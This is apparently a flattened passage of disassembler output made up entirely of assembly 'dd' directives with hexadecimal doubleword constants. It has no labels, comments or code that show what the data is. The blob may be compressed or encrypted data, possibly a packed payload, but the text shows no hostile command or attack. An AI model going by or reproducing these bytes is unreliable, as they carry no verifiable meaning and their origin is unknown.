897A4271h dd 2BAC6A49h, 2B76B262h dd 43E85D05h, 50D9FEE4h, 0AA85657Bh, 413B6AD8h, 0D0AC3B3Ah dd 9334ABC4h, 9CB9FE31h, 0D6752E3Bh, 188C4BBAh, 6E483E5Ch dd 182FF60Ah, 8E84D6C9h, 6CAB1A4Fh, 0F87CB0DDh, 0EB33C02Eh dd 45360E2Fh, 3204ABFh, 9DE8708h, 7A266869h, 9C28C1FBh dd 0C4D0501h, 1F38162h, 88040DBDh, 0FB4ED61Dh, 12071C10h dd 0DAB0D3E9h, 0C1833F59h, 0BCCB8796h, 229F406Fh, 2F9E4D16h dd 5D059C09h, 17C9EFA0h, 4840C33Ah, 89BB09CBh, 0C0DD090Bh dd 2C73DCDEh, 2D4E4FB0h, 9BB8EB60h, 7A4E6CEAh, 35853FFh dd 1A1FC7Fh, 252BEDADh, 0DC84290h, 0A83A4EE9h, 48B5B4D7h dd 614EF260h, 0EE80C172h, 0E362E41Bh, 0AD3EC89Dh, 8D748265h dd 0EE17A92Ch, 563FC1A8h, 0FFFCF392h, 0CCF153DDh, 9BF9064h dd 63F772A8h, 81766670h, 201E4B0Bh, 0E1098040h, 0B50B655Ch dd 0EDEFFF48h, 3175EE17h, 0E90BF9A8h, 0CCF63A3Dh, 0C330CF8Ch dd 38990BF2h, 9F001D83h, 67397DEDh, 0F3BEE911h, 0A821BA62h dd 9EC67340h, 0B5B9B380h, 5525B574h, 0C811996Bh, 0CD25E16Ch dd 0B201C7B2h, 0D0D84D4Bh, 0F9B7A5E9h, 9B420CFAh, 81015E0Ch dd 9C4FA7F6h, 882B3190h, 284B1DA4h, 9368D2B5h, 9CC2FEA4h dd 348BF5DCh, 4F56E1BAh, 0A5A27ECBh, 0BBAA388h, 100EEFDh dd 66184A84h, 4AC36DAh, 78FF5808h, 3730E972h, 24549F79h dd 755A750Ch, 0FC085044h, 2D69BCABh, 9DDB1CFFh, 5785BB48h dd 77FF10C2h, 60374A28h, 9DFC06D7h, 0B91226E6h, 36C3943Bh dd 0BF0D4DBDh, 45575625h, 0F95469DAh, 20088280h, 599AE932h dd 5612CC12h, 172A311h, 5E2C0AAh, 823BEAD0h, 78C2FCB5h dd 0BA630DDEh, 68650A02h, 430D4DDDh, 41FA2013h, 2DBD7BDFh dd 100BF76Ah, 5C699BF9h, 665DD29Bh, 10FD2066h, 28D9B30Bh dd 0FAAE04D3h, 166C0590h, 510025Dh, 38820DFh, 8362C17Fh dd 0F501407Eh, 0C9D867E4h, 0CDEE0928h, 4DF2E605h, 0A50069B8h dd 97D7F622h, 5BE0BD89h, 722578EFh, 3855596h, 0E90802C7h dd 0ACE8AD86h, 1A952691h, 5F690641h, 12D01AF4h, 5B8160B3h dd 61673654h, 81CA0CCh, 5E708298h, 5A77D49Dh, 0BAADF00h dd 0F19570CDh, 1E2997DCh, 123DE6D9h, 1636A924h, 0A91746h dd 27CAA710h, 0AD7ADEB9h, 0F52036D8h, 354001B8h, 1CA40A9Ch dd 20B93F89h, 0CED82B89h, 58E4F1B7h, 87B7B2E9h, 44F45892h dd 4EA1CEFAh, 0A76D64AEh, 2BDE60FBh, 0A075E33Eh, 3FF9A298h dd 52DEFD30h, 5308470Bh, 157CF354h, 0CFB3EB3Eh, 607B84FCh dd 0F1818919h, 152E7699h, 66028A6Bh, 2141F64Ch, 0BAEDE6E9h dd 3E180129h, 0E5C14BF8h, 13DD0770h, 953164E9h, 0ADC2AB09h dd 0C3F1F594h, 101E838Ch, 46CD2E80h, 913213C1h, 39250928h dd 45247D4Ch, 0C5070759h, 0BE0C65E0h, 0EF24B513h, 4037F901h dd 694170E0h, 0ECBC8915h, 0D6B9297Bh, 7B1002D9h, 5E63167Ah dd 0D1F029EFh, 5758D19Ch, 67D49C54h, 0EE493468h, 7651B0CBh dd 7F45F52Fh, 7DAE8C82h, 2A791709h, 0E681529Eh, 3076F280h dd 5F12AE3Bh, 0F023120Bh, 0B5645CE5h, 6809C258h, 2564476Dh dd 930F2025h, 0A68CC102h, 0A1EE6181h, 0EC2A8765h, 6AD3553Ch dd 9CC3B4C4h, 0E0B79B2Dh, 17BDAC05h, 0BB211639h, 6C8BCD41h dd 28831D7Eh, 0E3E43829h, 0AF553CA6h, 0DCA02BAFh, 6C676BD8h dd 83A68B7Bh, 5251D503h, 58C2B025h, 71F8303Ch, 55DCF18h dd 6801393Bh, 1C34081Ch, 41581414h, 5F46A20h, 0D96260A7h dd 34046FF1h, 2E305C7Bh, 0E7C5177Eh, 333E2784h, 20296641h dd 7440A5C9h, 66CF1C30h, 0A2FA1359h, 132CC0EBh, 9504D028h dd 542F9EE0h, 6ED248B7h, 0EB65CBF0h, 0BDFDC4DDh, 0E90909DCh dd 0FD0EA9EAh, 18B452C0h, 9265153Eh, 0FDCD415Ah, 583027F4h dd 800989E7h, 0EFF03F7h, 0F0EFC776h, 65FFF8D5h, 77040F41h dd 0CB9EBEAh, 0BC0C3EB5h, 8E30D4BDh, 0B7CA65BFh, 0EB742D95h dd 0A4C49112h, 0E2B6E8BAh, 5F8D3h, 203B2D5Fh, 0BB533E87h dd 0E37D7409h, 1795F30h, 0D5940A20h, 0D66C07C2h, 1127EBACh dd 2ECBF355h, 61971E77h, 316A2BF0h, 80272969h, 647EC39Fh dd 0BF21F1AAh, 0CC1CE25Eh, 8CC0C816h, 59D628C9h, 0EF281232h dd 0F25A4A08h, 0B1D9C58Ch, 68E02BE8h, 0BBC446ADh, 5600FBFCh dd 0ED7DA2BEh, 0CE816301h, 15D40E84h, 7D3C1571h, 96F75E2Fh dd 0E13FF256h, 0C38BB86Eh, 0F3F78957h, 4DDF61Fh, 0C59114EFh dd 401DA166h, 0AD6FDFA5h, 251474BDh, 250B10A8h, 7B93A9D7h dd 0B8866C19h, 6C7E2A00h, 6E0C12Fh, 0C8550405h, 0BF314FB6h dd 7881CED8h, 0BD2B03E3h, 8EBC177h, 1C7D7206h, 0F0C51C6h dd 66986DCDh, 1E67C09Fh, 0D901B865h, 0E99FA3A5h, 0BE205F93h dd 4D8927E0h, 8D10EA31h, 4C012711h, 4D457EA3h, 74797887h dd 7B2C0E8h, 6974330Dh, 203D1F5Ch, 0D3870D35h, 0D908D2F7h dd 1AA82FDAh, 0E9C2FAD1h, 0F97FF04Ch, 0D1B3605Fh, 789DC3FEh dd 90CBEA22h, 28B07099h, 0BF68E9D8h, 0C1B44F24h, 14CF122Eh dd 116F87FBh, 0E22CC746h, 48004150h, 567FA46Fh, 923CF2E9h dd 0D0F7019Fh, 1323390Dh, 0A30EA841h, 4D201800h, 0F3814B4Fh dd 0F4363D1Bh, 8051E90Ch, 6C13BD38h, 1C0FEB06h, 618E7A49h dd 3468DD45h, 0DABFB25Bh, 61D45D08h, 2017C4DAh, 312FF97Fh dd 5FC799F8h, 44EFD83Ah, 0E5E17241h, 0D07B8361h, 1B92C273h dd 926AEC3Dh, 70EE901Eh, 14DBE6Dh, 9B68A424h, 1F3CC302h dd 5AF8E044h, 45252533h, 514B4CFEh, 63013B6Ch, 686B4D82h dd 0CCBC3F39h, 0ED7A96C1h, 2BEEC531h, 0F6C0ADB2h, 0AD55A2Eh dd 47C566C1h, 6F601A7Bh, 2C33783Dh, 184E20h, 284D11A4h dd 0A9DD9F7h, 0B9264D3Dh, 0DFC52516h, 307F65B7h, 0EFA3A199h dd 0CA2C0798h, 5318D304h, 72A3A52h, 0C1410ECEh, 5898FEE1h dd 0DF0B1A19h, 701DE963h, 0E8554F94h, 0DAE9E05Dh, 40B1B6EDh dd 28CF3F94h, 14688162h, 57E0FDA8h, 553E0E7Bh, 2FE20235h dd 80120275h, 0BE66C7C5h, 1D41BFECh, 75EC3B21h, 0A413CBB1h dd 8C09417Bh, 0A8B07736h, 0F2834F8Dh, 0A7285C22h, 0EC050C56h dd 0D601520Fh, 2E7E0DEBh, 1792FD2Fh, 30AA3114h, 2773EA14h dd 9A626830h, 69E42C10h, 6FDE1836h, 6090E989h, 1870BB22h dd 66343738h, 57EC5528h, 0DD470DC0h, 4DA4E949h, 7A12CE14h dd 0AED18D3Dh, 0EF9E35D2h, 0F6379FC7h, 58B5EBB3h, 0A200516h dd 9B360297h, 9A270BF3h, 0C89C92F1h, 0EB885301h, 0CB8DB8E0h dd 0E9DDC6F9h, 47A49644h, 5BDD0FC5h, 72773A29h, 46F1EF40h dd 0F604E976h, 0FF2CA430h, 0BBE996D0h, 89659738h, 1D45408h dd 0AB0FD3B9h, 0D70B3022h, 9C310DC9h, 258E9CAEh, 2522E775h dd 1E587456h, 0E7CB9ECh, 71ED4F28h, 45EDE1C8h, 0E93A0108h dd 0F0560809h, 0F09F62F2h, 0BF573F1Fh, 20481639h, 4A7ACE18h dd 4A9F2DADh, 4B698037h, 902B7B37h, 4360985h, 27F1FFCh dd 63130316h, 8AC1B879h, 21D22D45h, 0DB927474h, 0E3D35887h dd 33480707h, 0E41A2111h, 3B50F894h, 169E1850h, 3C07ED29h dd 0D0FF581h, 15C648A8h, 0F63DDD4Ah, 27AF96D7h, 0C16D7ACh dd 0D852FF5Eh, 72F0CE20h, 0EE0A6910h, 3D29D411h, 91812222h dd 0BFE906E9h, 0E5055F8Eh, 1E694527h, 0AB0A301h, 8C9F1A60h dd 0BF30C0Dh, 1E092918h, 90894E53h, 9C5FE950h, 0DC1817Dh dd 214FDB59h, 46A2F7D3h, 0FEC84CF5h, 24517D52h, 838F915Bh dd 6B1057B8h, 8EE9D8D2h dd 6214E168h, 9DCA20B3h, 44D12F7Fh, 99FD26A6h, 0A8F6BF13h dd 70F7F20Eh, 0B47F9D40h, 9F575A42h, 0A7E4684Bh, 509C71Eh dd 0A027D022h, 0BE0B3F6h, 0D5898EE1h, 5992165Dh, 0A34FE6F7h dd 2AAED204h, 0E98D61B1h, 0AC2B7D26h, 4F8AC403h, 0A6C5B3E8h dd 3936017Fh, 60E807F0h, 3C0BBE35h, 7D2962BDh, 2F083A08h dd 0E9096FF4h, 0B5C2F097h, 0D6428FF1h, 0E2E55F24h, 36B0123Eh dd 259E32E8h, 5F5FA4D2h, 0DAAEA844h, 0B64131BEh, 0D80B044Dh dd 7D7829D9h, 0B12FBEB4h, 0FFE7211Fh, 43203F1Dh, 305598E2h dd 0F70C4EC8h, 1C507B7Ah, 0BB3E8AC3h, 0D0299317h, 0A0E7381Eh dd 427DB1C3h, 9CDEC5Eh, 5D131AF9h, 359207Fh, 10A004C0h dd 25463FE9h, 2721D55Eh, 70AB7984h, 8B97694Ah, 2DBF653Eh dd 4A30CB78h, 6AB50E38h, 66E82C08h, 68026048h, 0D4A67098h dd 806BB700h, 0B05076EFh, 8DF6973Ah, 0A4D15A96h, 0B20441C2h dd 0CA2D009Bh, 172C178h, 70550C8h, 0C0831259h, 97D2B202h dd 25E586ECh, 0DCDC811Fh, 9FE22B42h, 9557E327h, 0C4B3201h dd 469B779h, 0F600B254h, 0E6B450D3h, 55E3302Dh, 0BB75E12Bh dd 0D5AFEAF3h, 6B788669h, 0A10B2AB6h, 0CA5EE473h, 0A4467903h dd 3DC28D49h, 849882E9h, 4EB900E1h, 2F585A61h, 93413F44h dd 0F0F272F1h, 0ABAA174Eh, 2768BE28h, 0AD46111Fh, 0A5726321h dd 0F807615Eh, 0FD555A0Bh, 0B35BE6F8h, 3C87109Ch, 3806E815h dd 0C5734B78h, 74F0EEA3h, 5AEDFEFEh, 4EC6A8B8h, 2C9E4CC0h dd 657A48E0h, 28341F71h, 0F6BE426Ch, 0D8570521h, 0FD895A99h dd 0F5DE9EE5h, 562DEAE4h, 95E98552h, 4130FAA0h, 0E03943DAh dd 411EA35h, 0DE90B3Eh, 6D32EBDEh, 0BD28D0EAh, 1952CDF1h dd 0DA3153F2h, 0BA0069F9h, 8D2E63CEh, 1400DE71h, 0F76C6764h dd 59D2C2DAh, 71E0E602h, 3FE075F2h, 740C2060h, 18011345h dd 0F05AD389h, 5550054Ah, 369A8CDBh, 0A915559Dh, 2116B521h dd 0E0EE2152h, 65E2384h, 66F211E8h, 6F56DA5Dh, 897D290Fh dd 4CF75791h, 7D93825Ah, 5C5A6EB6h, 0E9B0E1BCh, 4CC2988Dh dd 0F259C821h, 47302CC1h, 0DAE95050h, 0BEB63A4Fh, 3F46E410h dd 548A553h, 2B8B5402h, 0A3C25A76h, 0C9819769h, 312F35EAh dd 6F0C68AAh, 38AA4912h, 0F62D5C72h, 62D95EF1h, 51FF645Ah dd 571C2E0h, 199FBB00h, 81600114h, 673CBCE3h, 0C0CBD82Bh dd 64FB2018h, 3041AB0Ch, 77194244h, 0B4C20CDBh, 0E3043BF5h dd 5F09A6Eh, 90E3B258h, 0DD312961h, 0F105320Ah, 0E383096Fh dd 42FEDC30h, 4D0E68CDh, 7A9D256Ch, 0BB014B72h, 402066C8h dd 0B307534Fh, 2ACB80A8h, 0CBEC92B5h, 0BD7BF2Dh, 0C9820EEh dd 3DF42799h, 106F2942h, 4B0C6C8Ah, 0D24D8BF9h, 4110CD34h dd 0E9E17B4Ah, 68F3D83Ah, 0BAA9194Fh, 0FD09DB13h, 0DDAF1342h dd 0B5C4C5F8h, 95FDAAA4h, 0D25DADD3h, 0F7A638ABh, 2068E109h dd 6834777Eh, 4C685001h, 5827CF17h, 91D357DEh, 53E9083Dh dd 8C571D78h, 0B80C7C40h, 3516C503h, 125F5046h, 0CC179526h dd 72B157B9h, 7E5C4C09h, 0AFD8E997h, 20FC475Eh, 0AFFD13B5h dd 6805984h, 925B9AE9h, 0F4D0B3Fh, 98FD47E2h, 0E06C34Ah dd 0E905347Fh, 0C3D20C2Bh, 96DC8FBh, 5D153613h, 30BC8DFAh dd 904B99E1h, 0BBC420EBh, 0F20132F1h, 0E9FB8725h, 8DFF9C56h dd 0CCD8B3AAh, 25E96FC0h, 9DD90ADDh, 64765A82h, 7FE44A41h dd 0D17FE909h, 8306C974h, 0EE253FAFh, 2546D410h, 97E2165Fh dd 5F4BC0F1h, 0B8D71289h, 316859DEh, 0E06102B9h, 575F0238h dd 812F7794h, 0DEA2DDEBh, 0EC5FF50Eh, 0EB94BBD1h, 378110D5h dd 2E5B81C6h, 0D21044A6h, 0ACBF00E5h, 0BA6ACE6Eh, 6C0513D4h dd 0C15F43FBh, 62E03E2h, 0FD02ED06h, 5D6497C6h, 2AE9F4E1h dd 0B00147ACh, 0FE832C6Bh, 0F48AD1C0h, 2E9119A1h, 0D046F504h dd 1B3C3EB8h, 1169C93h, 8E04F09Bh, 8609026h, 0B874127Bh dd 4056C162h, 568C6BD7h, 0A66D4EDEh, 27BC1009h, 5AE954C1h dd 0F3FFC240h, 85FFAD84h, 2EAB5F6Ah, 5D540B7Eh, 0FD45DF52h dd 26A90212h, 1C15D684h, 191CEB12h, 0F227666Dh, 0BD37407Eh dd 1B5F060Bh, 25FD5E29h, 9FF88E2h, 7977DEDh, 5524EDA0h dd 0B908F95Fh, 0BEB2019Bh, 7B07E2C0h, 1CCF8ABCh, 0E903027Eh dd 1357A58Ah, 0DB70C11Ah, 385B982Fh, 2568DE40h, 0ED6652C3h dd 0BB8549Fh, 0D321F6E9h, 2120C380h, 0A0E68FEh, 1A1D6068h dd 0BDC895BEh, 33B58DCh, 43039E68h, 0CF9E94Eh, 8D081A94h dd 56829776h, 2FDD130h, 0DFDBAE9Eh, 87A803B0h, 9F18180h dd 4FBD176Ch, 0AF3CF75Ch, 719BFF44h, 0DA7203A2h, 2C42054Bh dd 0E6C86C4Eh, 82E65AB7h, 4DF75C48h, 229D1F03h, 1BE3DA8h dd 190F595h, 1C483C3Fh, 0A29A27ADh, 0DC5EB119h, 0C7BD626Eh dd 2DAA8804h, 52E02F57h, 73B21D52h, 0B2B61450h, 80A09314h dd 2F5D1FDEh, 574407ABh, 4422EF04h, 94EE5584h, 8B080D46h dd 15563B39h, 38E1FF01h, 0B92051B6h, 0DE3C2D0Fh, 64F46B40h dd 5E83722Fh, 5BE9C7B3h, 15776AFh, 6539190Dh, 6A862135h dd 0FF55F7ECh, 0F9C661DAh, 3EF6156Eh, 0E1F2F84Fh, 0FC5128E9h dd 31C9AD66h, 0C405BE3Bh, 33BFA1DEh, 16A55D06h, 1DC4AE78h dd 1A2D8480h, 29760577h, 0AED9E9F3h, 3DBE6B13h, 0AE5A89E1h dd 62604865h, 86B75834h, 0A048AF2Fh, 0F6E6A0C6h, 0CEFED71Fh dd 0DC491852h, 0E1C2B351h, 0F72B1577h, 0C13817BBh, 17B37F0Eh dd 732D30BAh, 607D1D57h, 8DA1885Eh, 0DD3C3C3Eh, 0B55A2840h dd 0C20124FCh, 14923C5Eh, 942D05FCh, 0E585933Dh, 0D7133F09h dd 5E2E8CEEh, 0C9F5EC2h, 42DFE084h, 60B98031h, 3EA6F8B5h dd 8212C889h, 0D3D16105h, 0D69D792Fh, 2D684102h, 0FC159123h dd 0BFA3C56Eh, 805A14E6h, 99BD5519h, 77484417h, 0E1E94E05h dd 320044D5h, 4D3EB7EAh, 0E4E8A012h, 71B03E26h, 39F7F602h dd 0AC58558Dh, 18102AC0h, 9F2902EFh, 0E90420FCh, 0ACB976A4h dd 0FA3E8E12h, 0C7FC863Dh, 2C7B91Bh, 602466FEh, 0CFD59489h dd 8F452FFFh, 5F80FA89h, 2FEE7C39h, 970C90D6h, 60F59CCAh dd 81DB5741h, 0E04DF580h, 8DC13E30h, 5B5636C7h, 22E0F7E6h dd 0D1D7B2F4h, 0DBF689BBh, 0C5E817EAh, 7952DD68h, 61AC1047h dd 1C9EB94Fh, 0FF2541EEh, 0FAA656E7h, 0C2D45444h, 4CC8CEAAh dd 7F21720h, 318B8CB8h, 63840174h, 0BEC18501h, 4000CB8Fh dd 39007A2Dh, 7435514Ch, 0D089E18h, 0B803E952h, 0B663C9Fh dd 20352B1Bh, 0F22247B1h, 0B71ABD66h, 784A8A64h, 0FB21A703h dd 0AF1BC15Fh, 0C3814300h, 7DFA204h, 779D2906h, 841C56AEh dd 88FAD7E9h, 431F56F1h, 64BD01C8h, 88AE5F71h, 2C064C29h dd 0DAF72E05h, 0B28DB704h, 2DF42A15h, 4FCC90C3h, 53A1C359h dd 66473804h, 0A3C13023h, 75C97EC1h, 8170DA70h, 34A96F58h dd 0E6E196DFh, 0A3A44EA0h, 3307283Dh, 174F1CFCh, 0F231D6F1h dd 0F4FBB457h, 5F0212D3h, 0DAE94255h, 97F85CCDh, 51990972h dd 8A075D4h, 0B3E51CD7h, 0ABD35A38h, 0A9B9B649h, 6494D715h dd 1A583AC2h, 0F35A5564h, 2A5F0881h, 418844B4h, 7E0B6F16h dd 0A440181h, 4B7A59ACh, 8CA017A0h, 0C06BB050h, 2C08E009h dd 0FC0BDFA9h, 0C9DE0E5Dh, 534C5E3h, 0C171F380h, 21DE88D7h dd 0EAA331ACh, 0D5ACC25Dh, 2C5DB79h, 27BBD8AEh, 2E385EBCh dd 5A175AE3h, 7BFA38FBh, 292882EFh, 5659384Ah, 93CCC244h dd 0D6013A7Fh, 495E09D3h dd 61E0FAC8h, 1E4194Ch, 0D20A90EFh, 0B42A4F15h, 12E28D70h dd 2A804D5Eh, 2DE9CA31h, 77D98286h, 83E32F3Ch, 2B805238h dd 7DB01A4h, 0D057B551h, 8DE9BBCDh, 60983CB2h, 0B14CD97Eh dd 59CE14DAh, 0EE909ABh, 8A1C5D10h, 0B9056384h, 549158AAh dd 49C207AAh, 5CB4E41h, 5F94B3F4h, 359D06ACh, 58F24FD3h dd 36844CC3h, 0D2C2B683h, 0BF4500EFh, 0FDE9D828h, 0F22F9DFDh dd 4CAF1144h, 0BD17A80h, 0BD785A90h, 0AC0841D8h, 84102FFDh dd 63720525h, 0EBFF5AF4h, 5B8EABDDh, 179BEE50h, 0FC26D161h dd 0B4E9E091h, 3E5B9F6Dh, 89EB5412h, 401D2574h, 0A14635D6h dd 0CFAC0E60h, 0BFF15EB9h, 5CE05759h, 0BF032768h, 192F8C18h dd 894A4597h, 0BE9A06B9h, 7B5D61C2h, 2ADFCDADh, 74B820FEh dd 8796FEFCh, 2412ED62h, 57B2122Ch, 683431D2h, 4BAC2F7Dh dd 529ECC0h, 12FE90Bh, 36112148h, 7A9A62h, 6CF9F1BDh, 4DB07B3Fh dd 0E631B45Fh, 7FC52634h, 0BDA3C4F4h, 88A5002Ch, 8228F14Ah dd 5FC85130h, 0C2182A41h, 0A7DCFC3Fh, 4907EDD2h, 0BBDCEA4Bh dd 0D4D69566h, 0B34A64CFh, 0C68240FAh, 54232093h, 7EBD4BB0h dd 3C8B095Dh, 961547F5h, 0C76B91D2h, 9B6A5FBh, 0B6677719h dd 7040A413h, 4A856855h, 5A587B0Ch, 2D13C0A9h, 0D73D0233h dd 351D1674h, 4794EA61h, 0C9055B32h, 0AE2BEC22h, 1308C050h dd 524956E9h, 5AE6FC5Bh, 569DB940h, 576D9F0Bh, 53A505Bh dd 65A55190h, 0A510FF01h, 59293C08h, 10493A5h, 0A71DF69Fh dd 132F4C77h, 0BC59CB68h, 17A4C434h, 1EEE61Fh, 0F3B1B6BBh dd 1F887F55h, 9E4259E9h, 9305E74Fh, 0E9828AADh, 3BC425BFh dd 23176F09h, 3C6E0543h, 1067CAAFh, 813B3228h, 0B2277D0Bh dd 73499E82h, 0E0685800h, 15CAA36h, 0E2497A81h, 0F3C31870h dd 0FD3EE769h, 46F5C5Eh, 561E5F58h, 0B040CB5h, 5B34D8FFh dd 7DB41ABFh, 633E8EA2h, 1BC04705h, 7CFDB28Ah, 24312682h dd 117ACC55h, 0D1F8264Ah, 134D75C4h, 5F645809h, 0D5A7FF59h dd 0B50CEB90h, 87BEE7D3h, 8875E161h, 6131606Dh, 1DA36A16h dd 0BC0D05AAh, 6626905Ah, 6F74C668h, 0E478DAF3h, 18C330F5h dd 0F2BFEF7Fh, 0DB6A30B1h, 8640BD32h, 0C045BA25h, 16A3B898h dd 0EB131023h, 0CB359D00h, 0F1727457h, 2FE9E860h, 9BDBD315h dd 0D814273Dh, 934CB944h, 7279AC51h, 0E6E9F916h, 58C13321h dd 0B3A27Eh, 0F535ACB9h, 9BE561Bh, 31D78D1h, 74CC80F5h dd 9FEBFC65h, 0B5803970h, 0A10708D5h, 0E9D1214Dh, 9802A16h dd 984A8005h, 742F8EFFh, 24BC5A07h, 885A18B4h, 66093181h dd 9634A764h, 0F5877C9h, 7488386Ah, 723BF8F4h, 3ED2F7A8h dd 68BE428Fh, 21F92EAFh, 5BF7B981h, 823B029Dh, 0EC42D133h dd 0EC002D63h, 4B2F9FBAh, 0E4F2311Eh, 49C0FCD6h, 2825CAC5h dd 0B88360F4h, 9A67F780h, 0AF027FEFh, 5F044F32h, 7FB28ABEh dd 485F674Dh, 0ED9F0583h, 2AB80CEh, 6AA94241h, 0A67EADFh dd 0B7121908h, 0F1CE40FEh, 304951D2h, 0B55E52F6h, 12E413FCh dd 75987B7h, 1DA872CCh, 7F932BF5h, 0EA11E585h, 488781E4h dd 0B486BD38h, 0C60F2BBFh, 553C0D7Ch, 535B03E9h, 845DB368h dd 923AE6FBh, 5A6FFD98h, 988FB9C6h, 80C7C466h, 0B4FF768h dd 0EC88E521h, 56E34420h, 0D13EFF51h, 17AD19AEh, 6EEB9D3Ah dd 612F503Dh, 0DFDDABh, 243699BEh, 1D5A4E5Ch, 175E8E9Fh dd 0D593F6C0h, 0E19D16F4h, 852E1F04h, 9F81F913h, 0BAB24C0Ah dd 6E0B81A8h, 78395F38h, 0C378954Ch, 0EC413027h, 422920F9h dd 268454Ch, 0F0726FB4h, 397C2931h, 9F18758h, 658D684Eh dd 59568818h, 58D95EBFh, 83264810h, 0F416BD37h, 9269C30Ah dd 75041F01h, 41DB291Ch, 1CA0081Ch, 275E9014h, 0CED7FF4Ch dd 0F39E4F14h, 6DEE4E26h, 8B842ADDh, 9202A3AEh, 6DB58800h dd 680131F5h, 0B0828CFh, 697203E9h, 0A1B8C24Eh, 5C8578CEh dd 0EABE971Fh, 46E90508h, 8F43ABB0h, 0BCFEFA8Dh, 0B48FE8FAh dd 0FEC352BFh, 1250E4F4h, 0F02F2022h, 0D6928747h, 4BDA73B5h dd 50E627FAh, 0B37BB00Bh, 7985DD52h, 8DCB058h, 8018C8B0h dd 6F24A1EBh, 0CF31D34h, 80401D65h, 28300460h, 880058C3h dd 0B5515BDDh, 4BFAE97Dh, 87F0BD45h, 0A4BF295Fh, 0BDAF43F8h dd 46BB4A65h, 0F4CAFED4h, 66240E5Bh, 41B6DAB0h, 167C6DC0h dd 0DD20183Eh, 90BD50E6h, 3A892746h, 44CF4CD6h, 680243B2h dd 0C5DF716Ah, 0CB018051h, 595B2388h, 585A5AE4h, 0FB09F08Bh dd 1FD9FEF6h, 0DAF5DD67h, 993206F1h, 1EE9410h, 58E2F381h dd 0C815BD9h, 0F10AF9Eh, 0B7C13F31h, 0F36B7B03h, 6BE24161h dd 504B1A8h, 81652268h, 412DF012h, 2A575E07h, 4E3DC0D1h dd 11640BDh, 848CA8C2h, 2C074215h, 265609E4h, 92EA11E4h dd 41560C49h, 0D08AC0CDh, 89DE360Dh, 8D793B0Ch, 47193C8Ch dd 0AD524D75h, 498D0F5Ah, 94A14BD0h, 0C9E8F2CDh, 622B950Bh dd 0D8C68B90h, 26451004h, 78F0FE01h, 0A61516CFh, 67D0BA79h dd 13F566A4h, 0EEDBF705h, 0EBD1B701h, 8284AE9h, 86E5451h dd 70256B41h, 266CE411h, 8C50187h, 0FE25494Fh, 0F0464D64h dd 2FF91A68h, 0F82C2DFBh, 0C0BC42BBh, 0ADB3962h, 0BEA1E5Fh dd 94C6E647h, 0BE3BC820h, 0BEE2858h, 0A5F37D86h, 2831AE57h dd 0F7B22FC0h, 0FC03FF5Ch, 352A6C0Fh, 0AB0DF838h, 32036989h dd 4E9569A8h, 204E548Dh, 7613CB8Eh, 0E9B916B2h, 1B2F050Eh dd 2DA124AEh, 0D13B9730h, 0B41FF4B3h, 894FFBB5h, 3E0AFB01h dd 83691719h, 4ED8BE87h, 0F72C65EFh, 0FC021ED6h, 0FC9A10B1h dd 0E9ED9250h, 2BF0418Ah, 612E14F1h, 9D5CE8C6h, 57CC56F1h dd 0A1580E66h, 57CED3D7h, 17E5627Ch, 8F4BD6FCh, 7AE90DB3h dd 0FC2E2336h, 79BBA49Dh, 72C6FE1Eh, 0B590CD20h, 0CF250658h dd 0F97C1338h, 207F2FFCh, 8E5D8599h, 5289B496h, 497D2231h dd 0EF0105F3h, 0FEDFD2F0h, 12356967h, 35084A08h, 5D57AE0Ch dd 5186E761h, 0FC394F89h, 280366C6h, 836CD341h, 9A04E5C3h dd 471D1337h, 0BBFEF4B8h, 4AE146D5h, 10E0F95Eh, 244818E8h dd 0F983B54Eh, 0C8346FF2h, 0C25FD7AEh, 0D07D7AF4h, 80088273h dd 5D72BB2Bh, 9537547h, 3B766579h, 68D5C309h, 0BC7F31Ch dd 1D8366Ah, 0C24E88D0h, 60CC9BB2h, 0DF7729B1h, 7161702Eh dd 0BD279C41h, 7E2BDACBh, 0F8BA00EFh, 2956B854h, 0D928D04Eh dd 0D8E85C01h, 21C6055Bh, 0A03977C1h, 466806E9h, 0F69F4D70h dd 795FC24Eh, 0DD515202h, 589D3072h, 40609D53h, 144AEEDFh dd 3D3405FEh, 5FCD44DEh, 0DC35EE40h, 109CC2FEh, 6A677F0Bh dd 16095792h, 0B90F99Ah, 0B2795968h, 0BE1650ACh, 3023A8D1h dd 60FEA87Ah, 0D726C312h, 1DD28CFh, 705620A0h, 0C6B35312h dd 0B0B586EEh, 9033E4BDh, 541240CCh, 3AAF584Bh, 0BBE9099Ah dd 82964949h, 1BA1264h, 38AF0DEDh, 0D151E281h, 2B2093B5h dd 216C2DB1h, 680E50ACh, 0A46534EAh, 4F834858h, 31110FEBh dd 80925EF0h, 0AB2B73B7h, 75CB214Eh, 0BD0FEA28h, 0DC557DE2h dd 31E904C0h, 413382F7h, 0C69F70DEh, 0C5F9F0Ch, 0E466132Fh dd 4DA30907h, 0C6DF9DA9h, 20D392D1h, 0FEFB7F28h, 4BB60FFFh dd 31D0603Fh, 415F25F9h, 1093A075h, 0C37DF556h, 64E12B4Ah dd 0B25531E2h, 0DF306241h, 0CC7C950h, 7B252DB5h, 1F078780h dd 0E97439EDh, 0B05BA9D9h, 7F125AEAh, 0C402165Ch, 42A380AAh dd 0ECDC447Ah dd 0F2034B8Ah, 0AB1E84F3h, 2C0B0500h, 0A5F409DFh, 5B532E4Dh dd 6B1282BCh, 1269F31Ch, 2FB7233Dh, 0D442AB4Bh, 0ECFEF283h dd 6057B0DFh, 7AF17D6Fh, 3413475Bh, 5109CB29h, 0EFD55412h dd 0FFE47B62h, 6DF6FF44h, 47035C9Fh, 271CCEBEh, 2F5B2CFCh dd 0FA629B23h, 7A1DD675h, 0C6E937A2h, 0EAC4EB64h, 67F3A7DBh dd 76BFD14Eh, 8C397B8Bh, 0EB28BB21h, 5503B888h, 0A36DE1BDh dd 88FD97Bh, 93ED323Fh, 0D7E4895Fh, 79956F45h, 9F805B95h dd 54C5705h, 0E8296BC9h, 5D070B2Dh, 1554D801h, 6AE13A03h dd 24680700h, 94D39567h, 9E1D3202h, 43715F2Ch, 0C738F5CBh dd 117D368h, 0A80043B8h, 571CEBEAh, 0C8789574h, 0DA59DC81h dd 0E027CED3h, 9FBF60C5h, 0DA8872F9h, 3811E9Fh, 5F547D4Bh dd 80A51FD9h, 0FC58EE17h, 6301B24Ah, 0F9E9A1F5h, 30FF8DA6h dd 194BE619h, 60A10CA8h, 1581054Ch, 16046EBDh, 4187EF99h dd 483CDEB2h, 7C53376Eh, 96E4F460h, 51680100h, 8C383073h dd 1620F162h, 0B45CEC52h, 0E8C0010Eh, 0E8652C03h, 0BB807C1Bh dd 0AF2A24A2h, 0A6F30CD1h, 0DA4C890Dh, 0A78C3003h, 